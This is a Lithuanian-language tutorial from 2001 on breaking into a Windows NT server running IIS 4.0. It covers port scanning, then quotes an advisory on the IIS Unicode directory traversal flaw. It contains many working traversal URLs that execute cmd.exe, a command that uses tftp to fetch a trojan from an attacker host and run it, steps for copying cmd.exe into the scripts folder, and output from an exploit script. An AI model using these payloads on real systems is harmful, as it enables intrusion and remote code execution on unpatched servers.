Apsauga ir kt.
|
Windows NT serverio su paleistu Internet Information serveriu nulaužimas Šis paprastas pamokymas skirtas parodyti, kaip galima įsibrauti į Internetinį serverį, kuris yra paleistas Windows NT 4.0 su SP6 ir IIS 4.0 pagrindu. Tai gali būti signalas sisteminiams administratoriams ištaisyti esančias klaidas jų sistemose (kaip žinote Windows sistemose jų yra pakankamai). Jei kas naudosis šiais pamokymais blogiems tikslams žinokite, kad galite susilaukti bausmės (ne tik iš baudžiamųjų organų). Paprastai sistema apsaugota firewall valdoma OpenBSD ir vieninteliai atviri portai yra 22 (ssh), 80 (http) ir 443 (apsaugoti http - https). Portų sąrašą galima gauti: ftp://ftp.isi.edu/in-notes/iana/assignments/port-numbers Pirmas žingsnis OS ir paleistų servisų nustatymas Visų pirma reikia nustatyti serverio OS, kokia versija, kokie servisai paleisti ir prie ko mes galime prieiti. Tam yra naudojami portų ir saugumo skeneriai. Pvz.: NMAP - http://www.insecure.org/nmap/index.html, SUPERSCAN - http://keir.net/software.html, NETCAT - http://www.l0pht.com/~weld/netcat/, RETINA - http://www.eeye.com/retina/, SAINT - http://www.wwdsi.com/saint/, NESSUS(Linux), ir kt.
Vieni iš jų yra komerciniai kiti ne. Taip pat galima pasinaudoti ir UNIX/LINUX sistemų programomis. Kokią programą pasirinksite, tai jūsų reikalas. Pvz. Su NMAP patogu skenuoti portus (TCP ir UDP) ir pabandyti identifikuoti nutolusios mašinos OS tipą ir versiją; su NETCAT galima patikrinti ar atviri portai atitinka priskirtiems jiems servisams ir t.t. Jei naudositės komerciniais produktais (pvz.:RETINA/WinNT), tai visą informaciją gausite viena arba beveik viena programa. Man patiko naudotis nekomercine programa SUPERSCAN:
Dabar mes matome, kad paleistas Microsoft IIS/5.0. Jei tai ne MS Personal Web Services, tai jis paleistas ant NT/2000 platformos.
Antras žingsnis skylių nustatymas
Taigi dabar galime paieškoti skylių IIS sistemoje. Jas galima surasti kad ir www.securityfocus.com puslapyje.
Skylė Nr.1 Katalogas Traversal naudoja Unicode kodavimą.
Pilną aprašymą galima surasti: http://www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fvid%3D1806 Dėl viso pikto aš ją įdėsiu: ------------------------* * * * * * * ------------------------
Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability
http://target/scripts/..%c1%1c../path/file.ext
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
http://target/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
Zoa_Chien <zoachien@securax.org> describes the following exploits using TFTP or Samba in his post to Bugtraq: By using tftp.exe that comes with NT and win2k by connecting and downloading a trojan from a tftp daemon you can bypass these restrictions. Install < ftp://ftp.cavebear.com/karl/tftpd32.zip > and connect from your compromised to your local machine using the command " tftp.exe -i xxx.xxx.xxx.xxx GET ncx99.exe ". You can do so with this url: /[bin-dir]/..%c0%af../winnt/system32/tftp.exe+"-i"+xxx.xxx.xxx.xxx+GET+ncx99.exe+c:\winnt\system32\ncx99.exe then all you have to do is run the trojan with: /[bin-dir]/..%c0%af../winnt/system32/ncx99.exe
You might also use the samba commands: "net share and net user" on the target and "net use" on the local machine... but this does not always seem to work. (coz. netbios is not installed?)
In their post to Bugtraq, Nsfocus Security Team <security@nsfocus.com> describes how to execute commands using a redirect on the target host:
(1) copy "..\..\winnt\system32\cmd.exe" to "..\..\interpub\scripts\cmd1.exe"
http://site/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+..\..\winnt\system32\cmd.exe+cmd1.exe
IIS returned :
"CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
1 file(s) copied." (2) run "cmd1.exe /c echo abc >aaa & dir & type aaa "
http://site/scripts/..%c1%9c../inetpub/scripts/cmd1.exe?/c+echo+abc+>aaa&dir&type+aaa
IIS returned :
" Directory of c:\inetpub\scripts
10/25/2000 03:48p <DIR> . 10/25/2000 03:48p <DIR> .. 10/25/2000 03:51p 6 aaa 12/07/1999 05:00a 236,304 cmd1.exe .. abc "
Optyx <optyx@newhackcity.net> has released the following exploits:
iis-zang.c iis-zang.exe iis-zang.obsd iis-zang.linux
Roelof Temmingh <roelof@sensepost.com> has released the following exploits:
unicodecheck.pl unicodexecute.pl unicodexecute2.pl
<Eliel.Sardanons@philips.edu.ar> has released the following exploit:
iisuni.c http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.c http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.exe http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.obsd http://www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.linux http://www.securityfocus.com/data/vulnerabilities/exploits/unicodecheck.pl http://www.securityfocus.com/data/vulnerabilities/exploits/unicodexecute.pl http://www.securityfocus.com/data/vulnerabilities/exploits/unicodexecute2.pl http://www.securityfocus.com/data/vulnerabilities/exploits/iisuni.c
------------------------* * * * * * * ------------------------
Trumpai pasiaiškinsime: Kaip ir FTP, Web serveris vykdomas pagrindiniame (chrooted) kataloge, todėl Web serveris ir jo vartotojai neturi priėjimo prie likusios failų sistemos, išskyrus leidžiamos www. Tačiau Web serveris turi turėti kai kurias teises užduotims atlikti (pvz.: skriptų paleidimui ir kt.). Tam nustatomi priėjimai prie tam tikrų katalogų. Realioje sistemoje tai gali būti C:\INETPUB\SCRIPTS.
C:\--- | -- INETPUB\ | | - WWWROOT\ | | - SCRIPTS\ | -- WINNT\ | - SYSTEM32\
Mes turime teisę naudotis programomis --\INETPUB\SCRIPTS\ kataloge, tačiau mus domina programos kataloge --\WINNT\SYSTEM32\cmd.exe (komandinės eilutės programa). Tam turime panaudoti neegzistuojantį kelią priėjimui prie reikiamo katalogo iš \INETPUB\SCRIPTS\ katalogo, nes tiesioginį kreipimąsi IIS blokuos. Apeiti šią kliūtį galima koduojant pasvirusį brūkšnį / (dešinys slešas) UNICODE metodu (%5c). Tai ir yra aprašytos skylės panaudojimas.
http://aukos adresas/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
Kitos skylės būdas:
MS IIS/PWS Escaped Characters Decoding Command Execution Pažeidžiami: MS IIS 5.0 (Win2k SP1/SP2), IIS 4.0 (NT4 SP1/2/3/4), IIS 3.0 Pataisa: NT SP6 Klasė: unicode-parser Data: 2001 gegužės 15 d.
http://aukos adresas/scripts/..%255c..%255cwinnt/system32/cmd.exe\?/c+cmdz_here
Trečias žingsnis skylių panaudojimas
Dabar galime paleisti sistemos komandas, bet turime priėjimą prie sistemos su labai mažomis privilegijomis (IUSER_machine), be to dirbti iš Web brauzerio nepatogu. Taigi darome paiešką tinkle ir surandame perl skriptą, kuris atidaro tinklą (network socket) ir siunčia jūsų tas pačias komandas į Web serverį. Tai tas pats ką ir jūsų brauzeris daro, tik taip dirbti daug lengviau.
[root@gundam nthack]# perl -x unicodexecute.pl 192.168.1.2:80 'dir' Executing dir on 192.168.1.2:80 HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Date: Fri, 19 Jan 2001 00:15:26 GMT Content-Type: application/octet-stream Volume in drive D has no label. Volume Serial Number is F465-557F
Directory of D:\Inetpub\scripts
01/18/01 03:15p <DIR> . 01/18/01 03:15p <DIR> .. 2 File(s) 0 bytes 28,081,664 bytes free
|
Copyright © 2001 Arturas Bajoras |